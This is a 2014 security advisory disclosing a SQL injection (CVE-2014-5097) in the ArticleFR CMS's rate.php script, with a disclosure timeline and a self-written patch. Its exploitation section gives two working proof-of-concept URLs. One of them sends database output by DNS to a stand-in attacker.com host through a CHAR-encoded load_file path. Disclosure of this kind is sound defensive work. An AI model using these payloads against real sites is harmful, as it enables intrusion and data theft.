SQL Injection Vulnerability in ArticleFR

[High-Tech Bridge Security Research <advisory@xxxxxxxxxxxx>]

Advisory ID: HTB23225
Product: ArticleFR
Vendor: Free Reprintables
Vulnerable Version(s): 3.0.4 and probably prior
Tested Version: 3.0.4
Advisory Publication:  July 23, 2014  [without technical details]
Vendor Notification: July 23, 2014 
Public Disclosure: August 20, 2014 
Vulnerability Type: SQL Injection [CWE-89]
CVE Reference: CVE-2014-5097
Risk Level: High 
CVSSv2 Base Score: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Solution Status: Solution Available
Discovered and Provided: High-Tech Bridge Security Research Lab ( 
https://www.htbridge.com/advisory/ ) 

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Advisory Details:

High-Tech Bridge Security Research Lab discovered SQL injection vulnerability 
in ArticleFR, which can be exploited to perform SQL Injection attacks and gain 
complete control over vulnerable website.


1) SQL Injection in ArticleFR: CVE-2014-5097

The vulnerability exists due to insufficient sanitization of the "id" HTTP GET 
parameter passed to "/rate.php" script, when "act" HTTP GET parameter is set to 
either "get" or "set". A remote attacker can send a specially crafted HTTP GET 
request and execute arbitrary SQL commands in application’s database. 

The following exploitation example demonstrates vulnerability when "act" HTTP 
GET parameter is set to value "get". The PoC code below is based on DNS 
Exfiltration technique and may be used if the database of the vulnerable 
application is hosted on a Windows system. The PoC will send a DNS request 
demanding IP addess for `version()` (or any other sensetive output from the 
database) subdomain of ".attacker.com" (a domain name, DNS server of which is 
controlled by the attacker):

http://[host]/rate.php?act=get&id=0%20union%20select%201,(select 
load_file(CONCAT(CHAR(92),CHAR(92),(select 
version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(102),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114))))%20--%202

Below is another exploitation example, which displays version of MySQL server 
when "act" HTTP GET parameter is set to value "set":

http://[host]/rate.php?act=set&id=0%20union%20select%201,version%28%29,3,4%20--%202

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Solution:

Disclosure timeline:
2014-07-23 Vendor Alerted via emails.
2014-07-31 Vendor Alerted via emails.
2014-07-31 Issue created on GitHub.
2014-08-04 Vendor closed issue on GitHub.
2014-08-04 Vendor locked and limited conversation to collaborators on GitHub.
2014-08-07 Fix Requested via emails.
2014-08-11 Fix Requested via emails.
2014-08-18 Fix Requested via emails.
2014-08-20 Public disclosure with self-written patch.

Currently we are not aware of any official solution for this vulnerability.
Unofficial patch was developed by High-Tech Bridge Security Research Lab and is 
available here: https://www.htbridge.com/advisory/HTB23225-patch.zip

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References:

[1] High-Tech Bridge Advisory HTB23225 - 
https://www.htbridge.com/advisory/HTB23225 - SQL Injection Vulnerability in 
ArticleFR in ArticleFR.
[2] ArticleFR - http://freereprintables.com/ - Free Article Directory CMS 
System .
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - 
international in scope and free for public use, CVE® is a dictionary of 
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to 
developers and security practitioners, CWE is a formal list of software 
weakness types.
[5] ImmuniWeb® SaaS - https://www.htbridge.com/immuniweb/ - hybrid of manual 
web application penetration test and cutting-edge vulnerability scanner 
available online via a Software-as-a-Service (SaaS) model.

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Disclaimer: The information provided in this Advisory is provided "as is" and 
without any warranty of any kind. Details of this Advisory may be updated in 
order to provide as accurate information as possible. The latest version of the 
Advisory is available on web page [1] in the References.